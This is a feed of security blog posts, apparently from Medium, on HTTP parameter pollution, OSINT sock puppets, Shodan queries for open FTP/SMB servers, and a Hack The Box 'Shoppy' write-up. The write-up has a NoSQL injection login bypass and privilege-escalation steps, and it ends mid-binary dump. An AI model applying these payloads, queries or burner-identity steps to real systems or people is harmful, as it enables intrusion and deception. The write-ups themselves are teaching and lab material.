            <atom:updated>2023-05-23T21:44:48.242Z</atom:updated>
            <content:encoded><![CDATA[<h3>Prerequisites for Hackers : What you need to know before getting into hacking!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*89IdqcVtQhIVLCUiBEB7PQ.png" /></figure><blockquote><a href="https://discord.gg/tnpx3sZP6r">Join my Discord server for private learning</a></blockquote><p>To be proficient in hacking, you need some prerequisite knowledge. This knowledge includes having a basic understanding of : networking, operating systems (Windows &amp; Linux) as well as coding/scripting. (for the most part :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*erEm0xQgnHjox34n.gif" /></figure><p>Now , in case you are just getting started in this field, I know that must sound like a lot and it might look a bit scary. And this is the part where script kiddies and hackers differentiate .</p><p><a href="https://falkensmaze.medium.com/how-to-not-be-a-script-kiddie-in-2022-d1aed6d51aeb"><em>BTW check out this article to find out how to NOT be a script kiddie</em></a></p><p>Running a bash script in our freshly installed Kali Linux environment and praying that the system we’re attacking has not yet been patched from the 2003 version is something a toddler can do. No, literally. Truly, there is nothing wrong with experimenting and exploiting Metasploitable 2 . There is something wrong however, when we do not understand what is happening behind the scenes. What was the vulnerability in the vsftpd 2.3.4 service and most importantly, how did we exploit it? Those are the kind of questions to which we should have instantaneous answers.</p><p>That is the importance of getting our foundational knowledge steady before we dive into these fancy topics like hacking. So , let’s dive into each and every category I think you should be pretty familiar with before you start learning “hacking” .</p><h3>Networking</h3><p>There is no doubt that networking is one of the most important topics we should be familiar with, if we want to be proficient in infosec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/0*IrCBOywUBvCqRVeG.png" /></figure><p>Everything that we do on the internet, or even on a LAN (local area network), is possible because of computer networking. It is very important to understand the following topics in networking :</p><ul><li>IP addresses</li><li>TCP &amp; UDP</li><li>Three-way Handshake</li><li>Common ports</li><li>Common services and protocols</li><li>OSI model</li><li>Subnetting</li></ul><p>In my opinion, these are the most important to know . There are of course other things, like DNS , DHCP etc.</p><p>Here is a completely free course that preps you for the Network+, a certification for basic networking knowledge :</p><p><a href="https://www.professormesser.com/network-plus/n10-008/n10-008-video/n10-008-training-course/">Professor Messer&#39;s CompTIA N10-008 Network+ Course - Professor Messer IT Certification Training Courses</a></p><p>If you go through this course, I’d say you have enough knowledge to move up the learning ladder.</p><h3>Operating Systems</h3><p>This one should be a no-brainer. Every computer needs an operating systems to, well, operate. The most used operating systems in the field are Windows and Linux. So, you will need to have a very good understanding of both.</p><h4>Linux</h4><p>Some cybersecurity content creators,mentors,professionals or whatever might recommend you to invest in courses,books or something similar to that . Personally , my biggest advice to you is to download a version of linux, whether that’d Kali, Ubuntu, BlackArch, doesn’t really matter (Debian or Arch should be the choice since most of our tools are supportive of them, but it’s up to you to make the decision), and literally just start using that operating system. At first, it would be a mess, but you will progress MUCH faster than if you were just reading a book.</p><p>Now when I say this, I don’t mean to discredit books or courses. They should be an add-on. Watch youtube tutorials, or if you are willing to pay, watch courses and read books WHILE actually using LINUX. It is very crucial. Linux for me was love at first sight. I really loved the way the kernel functioned, the open-source ideology and really everything about it. And I think this helped me learn the command line extremely fast. For me, the terminal felt like home after maybe a few weeks of using Linux.</p><p>So to recap, ACTUALLY install a Linux distribution, watch tutorials and use the command line A LOT. If you want to change the name of a simple txt file, don’t use the GUI, use the CLI. It is very crucial!</p><h4>Windows</h4><p>Good ol’ Windows. Everybody has used it. Probably most of you still use it. You should already be familiar with the Windows environment.</p><p>The things you need to further learn about Windows, are the common services used , such as WMI, RDP, Kerberos, LDAP, SMB,WinRM . (these are mostly common in Active Directory -&gt; we’ll talk about AD in the sequel article to this).</p><p>Another thing you should know is again, the command line. During pentests/hacking, you’ll land on Windows machines, but it won’t be the familiar GUI experience, it would be a beautiful shell that would probably look something like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XdbQZTakQcXXwEAP" /></figure><p>So, you will need to learn how to use the OS , from CMD. Similarly to how we would use linux , from the terminal.</p><p>After getting comfortable with the command line, a little bit of powershell is never wrong. Powershell is a very nice and practical scripting language. This is not necessary, but it would be a nice skill to add .</p><h3>Coding</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CS_jX0g3_8D-zqkJ.jpg" /></figure><p>Finally, coding. What powers everything we do digitally. You do not need to go crazy on this one. Just simple scripting knowledge should be enough for you.</p><p>The important aspect here, is to UNDERSTAND code. You do not need to be a professional software developer to be a good hacker. You just need to be able to understand what code does. Basically be able to read it.</p><p>A good starter language, is good ol’ Python. Definitely my favourite language, and a very good one to start your coding journey. Personally, I do know how to code. The reason for this was because I wanted to create my own malware and maybe even exploits (I haven’t really gotten into any fancy exploit development apart from some basic Buffer Overflows just yet). But primarily , I learnt to code to be able to design my own hacking tools and malware. I really love creating my own functions , and really making malware undetectable, just for my work.</p><p>Like I said, you don’t need to learn how to code, but just be able to read and understand it would be enough. Keep in mind, there might be some job duties that will include code review. So, this is why you really need to understand it. You will find that sometimes you’ll come over some leaked piece of code, or maybe just an open source program, and discover vulnerabilities just by understanding what the code is supposed to do, and spotting where the weaknesses are.</p><h3>Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*jFUfvA3b5fjaMzsG.png" /></figure><p>In my opinion, these are the topics you need to have at least a basic understanding of before you jump into the world of hacking.</p><p>A bonus TIP for reading all the way through the article -&gt; After you finish learning about all of these topics as your prerequisites for hacking, check out this free course by Professor Messer that will get you started into the world of Security. (just the basics of security before the really techy stuff)</p><p><a href="https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/sy0-601-comptia-security-plus-course/">Professor Messer&#39;s SY0-601 CompTIA Security+ Course - Professor Messer IT Certification Training Courses</a></p><p>That was it for this article, stay tuned for the sequel, in which I’ll be going over the hacking resources you need to check out!</p><blockquote><a href="https://discord.gg/tnpx3sZP6r">Join my Discord server for private learning</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/0*pahurMm08i7Zyosq.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dad5fee009be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP parameter pollution : Bug bounties [Server-Side ; Client-Side]]]></title>
            <link>https://falkensmaze.medium.com/http-parameter-pollution-bug-bounties-server-side-client-side-a03d8d665b15?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/a03d8d665b15</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[website-hacking]]></category>
            <category><![CDATA[http-parameter-pollution]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Sat, 29 Apr 2023 14:00:39 GMT</pubDate>
            <atom:updated>2023-04-29T14:00:39.614Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTTP parameter pollution : Bug bounties [Server-Side ; Client-Side]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*R_3P0iqUDhb-PtFY.gif" /></figure><blockquote><a href="https://discord.gg/tnpx3sZP6r">Join our Discord server for private learning material and like-minded individuals!</a></blockquote><h3>What is HTTP parameter pollution?</h3><p>HTTP Parameter Pollution (HPP) involves manipulating the way a website handles parameters received in HTTP requests. This vulnerability arises when an attacker adds extra parameters to a request, and the targeted website considers them trustworthy, resulting in unexpected behavior. HPP bugs can occur on both the client and server sides. On the client side, usually through the browser, one can observe the impact of tests. HPP vulnerabilities are often dependent on how server-side code utilizes parameter values passed through, which are controlled by the attacker. As a result, discovering such vulnerabilities may require more experimentation than other types of bugs.</p><h4>Server-Side HPP</h4><p>In a server-side HPP vulnerability, your goal is to send unexpected information to the server, in order for the server code to return some unexpected results.</p><p>When a website receives a request, its servers process the request and respond with a web page. In certain situations, the servers not only return a web page, but also execute code based on the data they receive from the URL. This code runs solely on the servers, making it impossible for us to see. You can only see the information you send and the results you receive, but not the code. Thus, you can only make guesses about what’s happening. To exploit server-side HPP vulnerabilities, you must identify vulnerable parameters and experiment with them because you cannot view how the server’s code operates. (considering it is a blackbox penetration test/bug bounties). If you can see the source code, then it would make the process much faster.</p><p>Let’s see an example for better understanding : there is a server-side HPP vulnerability in a messaging application. Imagine you could send a message by entering values in the URL parameters : from, to, msg. The parameters specify the account name to send the message from, the account name to send the message to and the message content itself. A URL with these parameters that would send the message “hello”, would look something like this :</p><blockquote><a href="https://falkensmz.com/message?from=falken&amp;to=smz&amp;msg=hello">https://falkensmz.com/message?from=falken&amp;to=smz&amp;msg=hello</a></blockquote><p>When you look at this URL, you have to think that the application might assume it will only receive one “from” parameter. But what would happen if we were to submit two parameters, like in this URL:</p><blockquote>https://falkensmz.com/message?from=falken&amp;to=smz&amp;msg=hello&amp;from=elliot</blockquote><p>This URL is essentially the same as the first URL, but appends an extra from parameter that specifies another sender, <em>elliot . </em>In this scenario, an attacker will send the extra parameter hoping that the application would validate the message using the first from parameter, but send the actual message using the <em>elliot</em> account, essentially taking control of the messaging system of the application.</p><p>Whenever a server receives multiple parameters with the same name, it can respond in multiple ways. As a result, there isn’t one guaranteed process for handling multiple parameter submissions with the same name, meaning finding HPP vulnerabilities takes a lot of experimentation to confirm the way the site you’re testing , actually works.</p><p>The messaging application example from earlier uses parameters that are obvious. However, sometimes these vulnerabilities result from hidden server-side behavior, from code that is not directly visible. For example, let’s say the messaging application changes its backend code and no longer includes a from parameter in the URL. This time, the code will only take in two parameters , one for the account to send the message to, and the other for the contents of the actual message. The URL would look something like this :</p><blockquote>https://falkensmz.com/message?to=smz&amp;msg=hello</blockquote><p>Usually, we would not have access to the backend code, but to demonstrate this example , we know the server-side Rust code:</p><pre>let user_account = &quot;falken&quot;.to_string();<br><br>fn prepare_message(mut params: Vec&lt;String&gt;) {<br>    params.push(user_account.clone());<br>    send_message(params); //user.account (falken) becomes params[2]<br>}<br><br>fn send_message(params: Vec&lt;String&gt;) {<br>    let to = &amp;params[0];<br>    let msg = &amp;params[1];<br>    let from = &amp;params[2];<br>    message(to, amount, from);<br>}</pre><p>This code creates two functions, prepeare_messsage and send_message. The first function takes an array called params, which contains the to and msg parameters from the URL. It should look something like this : [‘smz’, ‘hello’]. The first function adds the user account information that was first defined in the code to the end of the array, so the final array would look like this : [‘smz’, ‘hello’, ‘falken’]. After we have the array ready , in the send_message function, we are assigning the values from the arrays to the proper variables ; ‘smz’ -&gt; to , and so on. After that, the variables are passed to the message function which takes all of the values and generates the response, sending the “hello” message from “falken” to “smz”.</p><p>Normally, the URL parameters would always be formatted in the way that code expects. But, as attackers, we have to think outside of the box. We could change the outcome of this code logic by passing a from value to the params array. E.G.</p><blockquote><a href="https://falkensmz.com/message?to=smz&amp;msg=hello&amp;from=elliot">https://falkensmz.com/message?to=smz&amp;msg=hello&amp;from=elliot</a></blockquote><p>In this scenario, the from parameter is also included in the params array passed to the prepeare_message function. So, the array’s values would be [“smz”, “hello”, “elliot”], then it will add the user account defined in the first line of the code snippet , and so will result in the following array [“smz”, “hello”, “elliot”, “falken”]. As a result, the from variable would take the third parameter, expecting it to be user.account, however, it would reference the value passed by the attacker, which in our case, is “elliot”</p><h4>Client-Side HPP</h4><p>The core definition of HPP is almost the same , both for client-side attacks as well as server-side. The main difference, is that for client-side, the effect(s) take(s) place on a user’s end. The attacker can exploit this vulnerability to construct a URL that, when accessed by another user, injects additional query-string parameters into the response, overriding existing ones. As a result, links and forms may function in unexpected ways, potentially leading to serious consequences such as modifying the intended recipient of an invitation form.</p><p>The impact of such an attack can vary depending on the capabilities of the affected application. Even if the application itself has limited functionality, an attacker may combine this vulnerability with other exploits to escalate the overall attack.</p><h3>Summary</h3><p>The potential impact of HPP depends on the backend actions of a website and the specific parameters that are being manipulated. Testing for HPP vulnerabilities requires a comprehensive approach, as the backend code that is run by a server after receiving a request is usulally hidden from view. This means that we can only make assumptions about how the server handles the parameters we provide. Identifying HPP vulnerabilities may require extensive trial and error testing. It is recommended to start with social media links, but it’s important to continue testing and be aware of potential HPP risks when testing for parameter substitutions, such as ID-like values.</p><blockquote><a href="https://discord.gg/tnpx3sZP6r">Join our Discord server for private learning material and like-minded individuals!</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*iRgJxpOWEHCgNjIwNLUnJg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a03d8d665b15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSiNT Playbook : Sock Puppets]]></title>
            <link>https://falkensmaze.medium.com/osint-playbook-sock-puppets-208c9f8f6c2c?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/208c9f8f6c2c</guid>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[sockpuppet]]></category>
            <category><![CDATA[information-gathering]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Mon, 17 Apr 2023 23:32:08 GMT</pubDate>
            <atom:updated>2023-04-17T23:32:08.207Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSiNT Playbook : Sock Puppets</h3><figure><img alt="sock-puppet" src="https://cdn-images-1.medium.com/max/1024/0*_LQ_MK-0cTdJfTIQ.jpg" /><figcaption>source : Wikipedia</figcaption></figure><blockquote><a href="https://discord.gg/tnpx3sZP6r">Join our Discord server for private learning material and a like-minded individuals!</a></blockquote><h3>What’s a sock puppet and why should you have one?</h3><p>In the world of Open Source Intelligence (OSINT) investigations, the use of sock puppets has become a common procedure for both malicious actors and investigators. A sock puppet is a fake online persona created with the intention of deceiving others, typically for the purpose of spreading propaganda, disinformation, or manipulating public opinion.</p><p>However, in the realm of OSINT investigations, a sock puppet can also serve as a valuable tool for gathering information and identifying potential threats. In this article, we will delve into the definition of sock puppets, their significance in the context of OSINT investigations, and explore some real-world examples of their use in both positive and negative contexts.</p><h4>Benefits of using a sock puppet during your investiagations</h4><p>Using a sock puppet during OSINT investigations can provide several benefits. Some of the most notable advantages are:</p><ul><li>Anonymity : By using a sock puppet, investigators can protect their identity and avoid revealing their real-world affiliations</li><li>Access : Sock puppets can provide investigators with access to closed or private online communities, forums and other groups that are not accessible to the general public.</li><li>Engagement : Sock puppets can be used to engage with individuals and groups that are suspected of engaging in malicious activities. This can provide investigators with valuable insights into the tactics, motivations, and networks of their targets.</li></ul><p>These are just a few of the reasons why sock puppets, should be the first thing you learn about when it comes to OSINT investigations .</p><p>With this out of the way, let’s see how we can create a sock puppet.</p><h3>Creating a sock puppet</h3><p>I am going to break this process into a couple of steps.</p><h4>Create a fake persona</h4><ul><li>You can use <a href="https://www.fakenamegenerator.com/">Fake Name Generator</a> to create a person</li><li>For a picture of the persona that you created, use <a href="https://www.thispersondoesnotexist.com/">This Person Does Not Exist</a>. Make sure to pick the best photo you can, with very few flaws. If possible, digitally remove these flaws using something like Photoshop.</li></ul><h4>Remain anonymous</h4><ul><li>Purchase a burner phone</li><li>Obtain a burner credit card from <a href="https://www.privacy.com/">Privacy</a></li><li>With the burner credit card, buy a SIM card, preferably Mint Mobile.</li><li>Find a reliable VPN that provides the physical location you have chosen for your sock puppet.</li><li>Use your burner phone alongside the SIM card to sign up for all of the platforms you will need. Make sure to create a ProtonMail account and set up 2FA on all of the accounts.</li><li>After setting up 2FA, change your burner number to Google Voice.</li></ul><h4>Cover your tracks</h4><ul><li>After making sure everything is stable and is working, destroy the SIM card.</li><li>Destroy/Wipe the burner phone</li></ul><p>This would be the process of creating a fully fledged sock puppet. Now of course, you do not have to go through the whole phone number process. You could get away with creating the accounts on a VM , but that is only possible if the services do not require phone number verification.</p><p>I hope you had a fun time reading the article and have extracted the most information out of it!</p><blockquote><a href="https://discord.gg/tnpx3sZP6r">Join our Discord server for private learning material and a like-minded individuals!</a></blockquote><p><em>Yours truly,</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/0*szCb5D8LxcUBfncL.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=208c9f8f6c2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The POWER of Shodan : Shodan unrevealed]]></title>
            <link>https://falkensmaze.medium.com/the-power-of-shodan-shodan-unrevealed-ac453cafe855?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac453cafe855</guid>
            <category><![CDATA[information-gathering]]></category>
            <category><![CDATA[shodan]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Tue, 28 Mar 2023 10:50:52 GMT</pubDate>
            <atom:updated>2023-03-28T10:50:52.930Z</atom:updated>
            <content:encoded><![CDATA[<h3>The POWER of Shodan : Shodan unrevealed</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/0*Cl1_bu25_RRkxiSP.png" /></figure><h3>What is Shodan?</h3><p>Shodan is a search engine like no other. Dubbed the “Google for hackers”, Shodan scans the internet for devices and systems that are connected to the internet, allowing users to see information that would otherwise be hidden. While many people may not have heard of Shodan, it is a powerful tool that has been used by security professionals, researchers, and even malicious actors.</p><p>In today’s blog post, we will be going over how Shodan works and why it should be part of your OSiNT toolkit.</p><h3>How does it work?</h3><p>Unlike traditional search engines like Google, which crawl web pages and index them, Shodan scans for internet-connected devices and systems based on their IP address.</p><p>Shodan uses a process called “port scanning”. A port is a communication endpoint on a device or system, and different types of communication use different ports. For example, web traffic typically uses port 80 or 443. It then collects information from these devices such as the OS that is being used, their geolocation or even potential vulnerabilities (CVEs) that can be used to exploit the device. This information is then indexed, similarly to something like Google, and made searchable through the search engine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4oFAWmYfAtbnwflC.jpg" /></figure><h3>How to find vulnerable/interesting devices using Shodan</h3><p>When looking for vulnerable devices on the internet, the most important thing you have to ask yourself, is who and/or what kind of device you are trying to break into?</p><blockquote>Disclaimer<em> : I am not responsible for any actions that may have cause damage to companies/people. This is purely for educational purposes only and I do not encourage hacking without permit. This should only be done in an organized penetration test, or when you have permission from the person/company that is targeted</em></blockquote><p>Take for instance, company XYZ. Company XYZ specializes in digital marketing. After you have performed your recon and OSiNT investigations, you have a pretty good idea of how the company operates, what kind of devices are used and for what purposes . Now that you have a nice structured map of the company, you now know what to look for.</p><h4>Use Shodan to find footholds</h4><p>Here is a little filter cheat sheet for Shodan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*zA3X2Ov1WdNgY0RzICI_iQ.png" /></figure><p>During our reconnaissance phase, we have discovered that there are multiple FTP and SMB servers running inside our company , for important files related to marketing. Let’s see if we can break into those first, as it would lead to a lot of damage and client loss for our target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*ml8oz986LKda48k0nutRcg.png" /></figure><blockquote>“230” “230 Login successful” port:21 org:companyName</blockquote><p>Let’s break down this filter. We have put in quotes “Login successful” , meaning that Shodan was able to log into the FTP Server without providing credentials. Then, we specified port 21 which is the default port configuration for FTP. Lastly, we specified our company target name, to only get FTP servers owned by that specific company. Let’s check the results, without the org filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bUVwb-P3G4EGDZxtwiKyzQ.png" /></figure><p>This is quite scary. 61 thousand devices have a server without credentials/default credentials. That means that we could potentially hack into the majority of these companies. Let’s see if this is really the case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Aa5Y_u-f54Jjcc06hfmqeg.png" /></figure><p>Logging in via anonymous/anonymous credentials.</p><p>Let’s check other interesting search queries that could lead to potential footholds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oW3gGC_zVWFs9ZR8yyF3iA.png" /></figure><blockquote>&quot;Authentication: disabled&quot; port:445</blockquote><p>Over 250k results. That is very scary. We can log into over 250 thousand SMB servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*QldtO-RGLSsGdGVVSmDaPg.png" /></figure><p>There are a lot of servers that are vulnerable to the EternalBlue vulnerability. A remote code execution vulnerability that has lead to a lot of destruction. (e.g WannaCry)</p><p>There are a lot more queries out there, the idea is to be creative when you are investigating your target, so that you can obtain the best results and potentially be able to establish a foothold in the organization.</p><p>In conclusion, Shodan is a powerful tool that allows users to search for internet-connected devices and systems using a variety of filters. While it is primarily used by security professionals, it has also been used by researchers to study the security of internet-connected devices and systems. However, it can also be used by malicious actors to identify vulnerable systems that can be exploited. As more and more devices become connected to the internet, the importance of tools like Shodan will only continue to grow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/0*zlYFkEewEXP17BXx.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac453cafe855" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box write-ups : Shoppy]]></title>
            <link>https://falkensmaze.medium.com/hack-the-box-write-ups-shoppy-8889a3b95840?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/8889a3b95840</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Wed, 08 Feb 2023 23:02:09 GMT</pubDate>
            <atom:updated>2023-02-08T23:02:09.126Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box write-ups : Shoppy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/0*7YeNQ8zKuVjiH0SQ.png" /></figure><h3>Enumeration portion :</h3><h4>NMAP:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/0*gjI44NKyWhhmc2En.png" /></figure><p>So, there are two services running on the box, one of which is SSH and the other one HTTP. Usually, when we see this on a CTF, we should get ready to exploit some sort of critical website vulnerability.</p><p>In the scan, nmap got redirected to <a href="http://shoppy.htb./">http://shoppy.htb</a> . So we have to add this url to the /etc/hosts file.</p><pre>vi /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*h0m1Pw866m2vsPUVuMC_sg.png" /></figure><p>Now , we access the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/0*BaQe_vpFQp_MK_5g.png" /></figure><p>Nothing really interesting here, so we continue our enumeration with some directory busting and VHOST discovery (subdomain discovery).</p><p>I will be using <a href="https://github.com/OJ/gobuster">gobuster</a> for both of these tasks, however feel free to use whichever tool suits you best.</p><p>This is the command I used for subdomain discovery :</p><pre>┌──(kali㉿kali)-[~/htb/shoppy]<br>└─$ gobuster vhost -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://shoppy.htb/</pre><p>And this is the command I used for directory busting:</p><pre>┌──(kali㉿kali)-[~/htb/shoppy]<br>└─$ gobuster dir -u http://shoppy.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt</pre><p>After running both of the commands, I found there is another domain at : mattermost.shoppy.htb , and two directories which are truly working and interesting : /admin, /login. Both of /admin and /login lead to /login.</p><h4>Investigating the login page</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/0*WlODwHNLNzNw94C7.png" /></figure><p>Taking a look at this login, I figured there must be some sort of SQL injection. I tried many default credentials , however nothing worked.</p><p>After testing pretty much all of the known SQL injection auth bypass payloads, I figured there was only one left to test, which was NoSQL. Click <a href="https://book.hacktricks.xyz/pentesting-web/nosql-injection">here</a> to read an article from HackTricks regarding this service and payloads to use for it.</p><p>The payload that works is -&gt; admin&#39;||&#39;1==1</p><h4>Foothold</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/0*_ndFuunhFwZqPNgg.png" /></figure><p>This is the administrator page of Shoppy. After looking around, I realised the only function that is present on this back-end is the ability to search for users. We could theoretically fuzz the search parameter with a list of users, however something smarter to do is to just use the same payload in that field.</p><p>The reason for this, is because when we inject &#39;||&#39;1==1 . We are basically saying or 1=1 which ALWAYS returns true. Because it will be true, it will return the entire list of users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*1u-ulE0PUyh59xur.png" /></figure><p>After you download the export JSON file, you’ll be met with these two users. Take their hashes to <a href="https://crackstation.net/">https://crackstation.net/</a> and crack them there. The only hash that will crack is Josh’s hash.</p><p>You can try to log in with his credentials on the shoppy.htb website, however nothing new will appear. Now it’s time to add mattermost.shoppy.htb to the /etc/hosts file, just like we did earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/0*1P7SB6hdiuL9RV7H.png" /></figure><p>Now , for the username enter josh and for the password, enter the one you’ve just cracked, from the export file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/0*10zLwv5FL7TrKDXJ.png" /></figure><p>Right out of the bat, we can see we spotted credentials in this chat room. Now , I’ve enumerated every chat possible, however this was the only one containing sensitive information.</p><p>Now it’s time to get inside the box. Get those credentials, and SSH your way into the machine.</p><pre>┌──(kali㉿kali)-[~/htb/shoppy]<br>└─$ ssh jaeger@10.10.11.180<br>jaeger@10.10.11.180&#39;s password: <br>Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64<br><br>The programs included with the Debian GNU/Linux system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in /usr/share/doc/*/copyright.<br><br>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>permitted by applicable law.<br>Last login: Tue Nov 29 02:55:12 2022 from 10.10.16.111<br>jaeger@shoppy:~$</pre><p>For the user flag cat /home/jaeger/user.txt</p><h4>Privilege Escalation</h4><p>I ran linpeas on the box , however it hasn’t really found anything useful. So , it’s time to do the priv esc the manual way.</p><p>Firstly , we check the groups.</p><pre>jaeger@shoppy:~$ whoami<br>jaeger<br>jaeger@shoppy:~$ groups<br>jaeger<br>jaeger@shoppy:~$ </pre><p>However, we do see that nothing interesting pops up. So, let’s see if we can run any program as another user.</p><pre>jaeger@shoppy:~$ sudo -l<br>[sudo] password for jaeger: <br>Matching Defaults entries for jaeger on shoppy:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin<br><br>User jaeger may run the following commands on shoppy:<br>    (deploy) /home/deploy/password-manager<br>jaeger@shoppy:~$</pre><p>And we can! We can run the password-manager program as the user deploy. Let’s investigate further.</p><pre>jaeger@shoppy:~$ cd /home/deploy/<br>jaeger@shoppy:/home/deploy$ ls -lah<br>total 52K<br>drwxr-xr-x 3 deploy deploy 4.0K Jul 23 03:34 .<br>drwxr-xr-x 4 root   root   4.0K Jul 22 13:12 ..<br>lrwxrwxrwx 1 deploy deploy    9 Jul 22 13:14 .bash_history -&gt; /dev/null<br>-rw-r--r-- 1 deploy deploy  220 Mar 27  2022 .bash_logout<br>-rw-r--r-- 1 deploy deploy 3.5K Mar 27  2022 .bashrc<br>-rw------- 1 deploy deploy   56 Jul 22 13:15 creds.txt<br>lrwxrwxrwx 1 deploy deploy    9 Jul 23 03:34 .dbshell -&gt; /dev/null<br>drwx------ 3 deploy deploy 4.0K Jul 23 03:31 .gnupg<br>-rwxr--r-- 1 deploy deploy  19K Jul 22 13:20 password-manager<br>-rw------- 1 deploy deploy  739 Feb  1  2022 password-manager.cpp<br>-rw-r--r-- 1 deploy deploy  807 Mar 27  2022 .profile<br>jaeger@shoppy:/home/deploy$</pre><p>We can see that we have the source code, as well as a creds.txt filer in this directory, however we do not have the rights to view either of them. Let’s run the password-manager program as deploy to see what happens.</p><pre>jaeger@shoppy:/home/deploy$ sudo -u deploy ./password-manager<br>Welcome to Josh password manager!<br>Please enter your master password: ???<br>Access denied! This incident will be reported !</pre><p>So, we need to have a master password to access the credentials. Let’s try to view the source code of an app itself. When code isn’t compiled correctly and it’s poorly written, sometimes there are leaks.</p><pre>jaeger@shoppy:/home/deploy$ cat password-manager<br>ELF&gt; @H@@8<br>          @@@@h���`<br>                   `<br>                    ��   ���-�=�=�P�-�=����DDP�td� � � LLQ�tdR�td�-�=�=PP/lib64/ld-linux-x86-64.so.2GNU@<br>)�GNU�▒�e�ms��                                                                                          .�Ҵ��43H<br>              C-�����fFr�S�w �� , 